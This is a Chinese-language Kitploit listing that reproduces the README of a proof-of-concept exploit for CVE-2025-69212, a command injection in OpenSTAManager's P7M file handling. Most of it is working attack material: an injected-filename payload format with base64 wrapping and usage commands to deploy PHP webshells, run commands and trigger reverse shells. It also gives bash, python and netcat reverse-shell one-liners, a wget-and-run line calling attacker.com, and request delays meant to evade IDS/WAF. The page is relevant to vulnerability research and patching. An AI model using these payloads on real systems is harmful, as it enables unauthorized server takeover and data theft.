Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 及更早版本在 P7M(签名 XML)文件解码功能中存在一个严重的操作系统命令注入漏洞。 | Kitploit
工具/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具Payload 开发
GitHubbridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 及更早版本在 P7M(签名 XML)文件解码功能中存在一个严重的操作系统命令注入漏洞。

查看仓库
3162个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69212

OpenSTAManager <= 2.9.8 — P7M 文件处理中的操作系统命令注入

概述

字段详情
CVE IDCVE-2025-69212
严重性严重(CVSS 4.0:9.4)
CWECWE-78:操作系统命令注入
受影响版本OpenSTAManager <= 2.9.8
漏洞函数XML::decodeP7M(),位于 src/Util/XML.php
攻击向量上传的 ZIP 压缩包中的恶意文件名
身份验证需要(任何具有发票导入权限的用户)
影响以 Web 服务器用户身份完全远程执行代码

漏洞详情

OpenSTAManager v2.9.8 及更早版本在 P7M(签名 XML)文件解码功能中存在一个严重的操作系统命令注入漏洞。src/Util/XML.php 中的 decodeP7M() 方法将用户控制的文件名直接传递给 PHP 的 exec() 函数,而不进行清理,从而允许经过身份验证的攻击者在服务器上执行任意系统命令。

根本原因

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

$file 参数(源于上传的 ZIP 压缩包中的文件名)被双引号包围,但从未使用 escapeshellarg() 进行清理。攻击者可以构造一个 .p7m 文件名,该文件名能够突破双引号上下文并注入任意 shell 命令。

入口点

  1. plugins/importFE_ZIP/actions.php:126 — 处理包含电子发票的 ZIP 上传时的主要向量
  2. plugins/importFE/src/FatturaElettronica.php:56 — 处理单个 .p7m 文件的构造函数

功能

功能描述
--check验证目标是否易受攻击(创建并检查标记文件)
--webshell通过操作系统命令注入部署 PHP webshell
--rce通过已部署的 webshell 进行交互式命令执行
--reverse-shell触发反向 Shell(python、nc、nc-e 方法)
--cmd盲执行命令(即发即忘)
--shell-dir自定义 webshell 写入目录
--method反向 Shell 方法选择
--proxyHTTP 代理支持(Burp Suite)
--delay请求限速以规避 IDS/WAF
自动检测自动发现 importFE_ZIP 模块/插件 ID

安装

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

用法

身份验证

root@kitploit:~
# 使用凭据登录
python3 exploit.py -t http://target.com -u admin -p secret --check

# 使用现有会话 cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

漏洞检查

root@kitploit:~
# 自动检测插件并验证漏洞
python3 exploit.py -t http://target.com -u admin -p secret --check

# 使用已知模块/插件 ID
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

Webshell 部署

root@kitploit:~
# 将 webshell 部署到默认目录(files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# 自定义目录和文件名
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

交互式 RCE

root@kitploit:~
# 部署 webshell + 交互式 Shell
python3 exploit.py -t http://target.com -u admin -p secret --rce

# 使用之前运行中已有的 webshell
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

反向 Shell

root@kitploit:~
# Bash 反向 Shell(默认,非常可靠)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Python 反向 Shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# 使用 mkfifo 的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# 使用 -e 标志的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

盲命令执行

root@kitploit:~
# 执行命令(不返回输出)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# 下载并执行 payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

网络选项

root@kitploit:~
# 通过 Burp Suite 代理
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# 带请求延迟(2 秒)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# 跳过 SSL 验证
python3 exploit.py -t https://target.com -u admin -p secret --check -k

完整选项参考

root@kitploit:~
目标:
  -t, --target           目标基础 URL

身份验证:
  -u, --user             登录用户名
  -p, --password         登录密码
  -c, --cookie           现有 PHPSESSID 值

操作:
  --check                验证目标是否易受攻击
  --webshell             部署 PHP webshell
  --rce                  通过 webshell 进行交互式 shell
  --reverse-shell        反向 Shell(LHOST LPORT)
  --cmd COMMAND          盲命令执行

Shell 选项:
  --shell-dir DIR        webshell 写入目录(默认:files)
  --shell-name NAME      自定义 webshell 文件名
  --method METHOD        反向 Shell 方法:bash, python, nc, nc-e

插件检测:
  --module-id ID         OpenSTAManager 模块 ID
  --plugin-id ID         importFE_ZIP 插件 ID

网络:
  --proxy URL            HTTP 代理 URL
  -k, --no-ssl-verify    禁用 SSL 验证
  --delay SECONDS        请求之间的延迟(秒)

技术细节

Payload 结构

该漏洞利用工具构造一个包含单个 .p7m 文件(带有恶意文件名)的 ZIP 压缩包:

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

当 OpenSTAManager 处理此文件时,生成的 exec() 调用变为:

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

Shell 将分号解释为命令分隔符,从而在已终止的 openssl 调用与尾随的 echo 之间执行注入的命令。

ZipArchive 文件名限制

关键: PHP 的 ZipArchive::extractTo() 根据 ZIP 规范将文件名中的正斜杠(/)视为目录分隔符。恶意文件名中的任何 / 都会导致压缩包条目被拆分为目录,从而破坏漏洞利用 payload。

所有注入的命令必须完全避免使用 /。为了完全绕过此限制并防止 PHP exec() 挂起(这可能会占用服务器工作线程并导致超时),该漏洞利用工具现在会自动将 payload 包装为 Base64 并在后台执行:

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

这允许我们在内部 payload 中自然地使用 /(例如 /dev/tcp/10.10.14.5/4444),而不会破坏 ZIP 结构。

反向 Shell 方法

方法Payload需要
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bash支持 -e 的 netcat

bash 方法现在是默认方法,因为它在 Linux 目标上最可靠且最原生。

漏洞代码路径

root@kitploit:~
通过 importFE_ZIP 插件上传 ZIP 压缩包
    └── actions.php 分发到插件处理程序
        └── ZipArchive::extractTo() 解压文件
            └── 遍历 .p7m 文件
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Shell 解释注入的命令

攻击链示例

root@kitploit:~
1. --check             → 通过标记文件确认 RCE
2. --webshell          → 将 PHP Shell 放入 files/ 目录
3. --rce               → 交互式命令执行
4. 枚举               → id, cat /etc/passwd, ifconfig
5. 横向移动           → 向攻击者发送反向 Shell,后渗透利用

免责声明

此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是非法的。请始终在获得适当授权后再进行测试。作者对滥用行为不承担任何责任。

参考资料

  • CVE-2025-69212 (NVD)
  • GitHub 安全公告 — GHSA-25fp-8w8p-mx36
  • OpenSTAManager 仓库
  • Lukasz Rybak 的 PoC
下载工具